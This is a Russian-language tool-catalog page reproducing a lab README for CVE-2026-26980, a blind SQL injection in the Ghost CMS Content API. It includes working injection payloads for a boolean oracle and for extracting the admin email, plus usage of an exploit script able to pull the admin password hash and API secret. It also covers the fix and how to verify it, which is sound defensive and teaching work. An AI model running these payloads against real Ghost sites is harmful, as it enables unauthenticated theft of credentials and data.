Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/dinosn/ghost-cve-2026-26980
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеБезопасность Баз ДанныхЛаборатории и Практика
GitHubdinosn/ghost-cve-2026-26980

ghost-cve-2026-26980

CVE-2026-26980 — Лаборатория SQL-инъекций в Content API Ghost CMS (неаутентифицированная слепая SQLi через сортировку по фильтру slug)

Репозиторий
19435 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-26980 — SQL-инъекция в Content API Ghost CMS (лабораторная работа)

Неаутентифицированная слепая SQL-инъекция в Ghost CMS через механизм сортировки фильтра slug в Content API, позволяющая произвольное чтение базы данных из любого экземпляра Ghost без учётных данных.

CVECVE-2026-26980
AdvisoryGHSA-w52v-v783-gw97
CVSS9.4 (Critical)
CWECWE-89 (SQL Injection)
ЗатронутоGhost 3.24.0 — 6.19.0
ИсправленоGhost 6.19.1
Требуется аутентификацияНет (ключ Content API публичен по дизайну)
Автор/СсылкиNicholas Carlini с использованием Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg]

Отказ от ответственности — Эта лабораторная работа предназначена только для авторизованного тестирования безопасности, обучения и оборонительных исследований. Не используйте её против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Обзор

Content API Ghost поддерживает фильтрацию тегов и записей по slug с использованием нотации массива: filter=slug:[tag-a,tag-b]. Внутри вспомогательная функция строит оператор ORDER BY CASE для сохранения запрошенного порядка slug. До версии v6.19.1 предоставленные пользователем значения slug интерполировались непосредственно в этот SQL без параметризации:

root@kitploit:~
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (УЯЗВИМО)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;

Ключ Content API встроен в HTML каждого сайта Ghost (data-key="..."), что делает эту поверхность атаки полностью неаутентифицированной.

Механизм уязвимости

Обход NQL

Язык запросов NQL Ghost проверяет входные данные фильтра и отклоняет необработанные одинарные кавычки или пробелы. Однако NQL принимает значения в одинарных кавычках внутри нотации массива (slug:['value']), пропуская кавычки как часть литерала. Регулярное выражение slugFilterOrder извлекает эти значения и интерполирует их — включая кавычки — в SQL:

root@kitploit:~
Filter:  slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
                ^                                          ^
                NQL пропускает кавычки как литеральные символы

Сгенерированный SQL

После интерполяции ORDER BY становится:

root@kitploit:~
CASE
  WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
  WHEN `tags`.`slug` = 'news' THEN 1
END ASC

В режиме SQL по умолчанию MySQL || — это OR, а '' — ложное значение. Это даёт нам чистый булев оракул:

УсловиеРезультат CASEЭффект
TRUE'' OR 0 OR '' = 0Нормальный ответ (HTTP 200)
FALSE'' OR EXP(710) OR ''Ошибка переполнения DOUBLE (HTTP 500)

Извлечение данных

С установленным оракулом применяется стандартное слепое извлечение бинарным поиском:

root@kitploit:~
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]

Синтаксис SUBSTR(... FROM pos FOR len) позволяет избежать запятых (по которым slugFilterOrder разделяет значения).

Скриншоты

Булев оракул: условие TRUE (HTTP 200) против условия FALSE (HTTP 500)

TRUE (1=1) → HTTP 200FALSE (1=0) → HTTP 500
TRUEFALSE

Извлечение данных бинарным поиском

Извлечение данных

Проверка исправления: v6.18.0 против v6.19.1

Проверка исправления

Дополнительные скриншоты

Фронтенд Ghost

Фронтенд Ghost

Ключ Content API в исходном коде страницы

Ключ API

Нормальный ответ API

Нормальный запрос

Исправление (v6.19.1)

Исправление заменяет строковую интерполяцию параметризованными привязками:

root@kitploit:~
// ИСПРАВЛЕНО
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);

Плагин crud.js был обновлён для передачи привязок через orderByRaw, а @tryghost/bookshelf-plugins был обновлён до 0.6.29, который добавляет поддержку привязок.

Настройка лабораторной работы

Предварительные требования

  • Docker и Docker Compose
  • Python 3.8+ с requests

Быстрый старт

root@kitploit:~
# Клонируйте и войдите в лабораторную работу
git clone <this-repo> && cd ghost-cve-2026-26980

# Установите зависимость Python
pip install -r requirements.txt

# Запустите уязвимый экземпляр Ghost (6.18.0 + MySQL 8)
docker compose up -d

# Подождите ~45 секунд для инициализации Ghost, затем запустите эксплойт
python3 exploit.py --url http://localhost:2368

Проверка исправления

root@kitploit:~
# Также запустите исправленный Ghost 6.19.1 на порту 2369
docker compose --profile fixed up -d

# Подождите ~45 секунд, затем подтвердите, что исправление блокирует инъекцию
python3 exploit.py --url http://localhost:2369 --validate-fix

Проверка одной командой

root@kitploit:~
bash validate.sh

Остановка

root@kitploit:~
docker compose --profile fixed down -v

Использование эксплойта

root@kitploit:~
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
                  [--extract-api-key] [--content-key KEY] [-v]

options:
  --url URL            URL Ghost (по умолчанию: http://localhost:2368)
  --validate-fix       Подтвердить, что цель НЕ уязвима
  --extract-password   Также извлечь bcrypt-хэш администратора
  --extract-api-key    Также извлечь секрет API администратора
  --content-key KEY    Пропустить настройку, использовать этот ключ Content API напрямую
  -v, --verbose        Показывать результаты оракула для каждого запроса

Пример вывода

root@kitploit:~
====================================================
CVE-2026-26980 — SQL-инъекция в Content API Ghost CMS
====================================================

[*] Ожидание готовности Ghost на http://localhost:2368
[*] Настройка Ghost (admin: [email protected])
[+] Настройка завершена — установка сессии
[+] Вход выполнен
[+] Ключ Content API: ad63c06a71457583ea58f050c1
[+] Якорный slug: news

[*] Фаза 1 — проверка булева слепого метода
  CASE WHEN 1=1:  200 (TRUE)
  CASE WHEN 1=0:  500 (FALSE)
  [+] Булев оракул подтверждён — УЯЗВИМО

[*] Фаза 2a — извлечение email администратора
  Измерение длины email администратора... 21 симв.
  Извлечение: [email protected]
  [+] Email: [email protected]

============================================================
  СВОДКА ЭКСПЛУАТАЦИИ
============================================================
  Цель:        http://localhost:2368
  CVE:           CVE-2026-26980
  Ключ контента:   ad63c06a71457583ea58f050c1
  Email администратора:   [email protected]
============================================================

Также исправлено в v6.19.1: CVE-2026-29053 (RCE через темы)

Вторая уязвимость была исправлена в том же релизе. Handlebars-хелпер {{#get}} Ghost использовал пакет jsonpath (который зависит от static-eval) для разрешения выражений пути. Вредоносные темы могли создавать выражения, достигающие Function() через обход прототипа, обеспечивая выполнение кода на сервере.

CVECVE-2026-29053
ЗатронутоGhost 0.7.2 — 6.19.0
АутентификацияАдминистратор (загрузка темы)
ИсправлениеЗамена jsonpath на ограниченную функцию querySimplePath(), которая поддерживает только точечную нотацию, [N] и [*]

Эта лабораторная работа сосредоточена на CVE-2026-26980, поскольку она неаутентифицирована и более значима для внешних атакующих.

Файлы

root@kitploit:~
.
├── README.md              # Этот файл
├── docker-compose.yml     # Ghost 6.18.0 (уязвимый) + 6.19.1 (исправленный) с MySQL 8
├── exploit.py             # Полный PoC: настройка, проверка, извлечение
├── validate.sh            # Обёртка сквозной проверки
└── requirements.txt       # Зависимости Python

Ссылки

  • Security Advisory Ghost GHSA-w52v-v783-gw97
  • Запись NVD CVE-2026-26980
  • Коммит исправления: SQL-инъекция в сортировке фильтра slug Content API
  • Коммит исправления: замена jsonpath на пользовательский резолвер путей
  • Разбор CVE-2026-29053 (Hidden Investigations)

Лицензия

Эта лабораторная работа предоставлена для образовательных и авторизованных целей тестирования безопасности под лицензией MIT License.

Скачать инструмент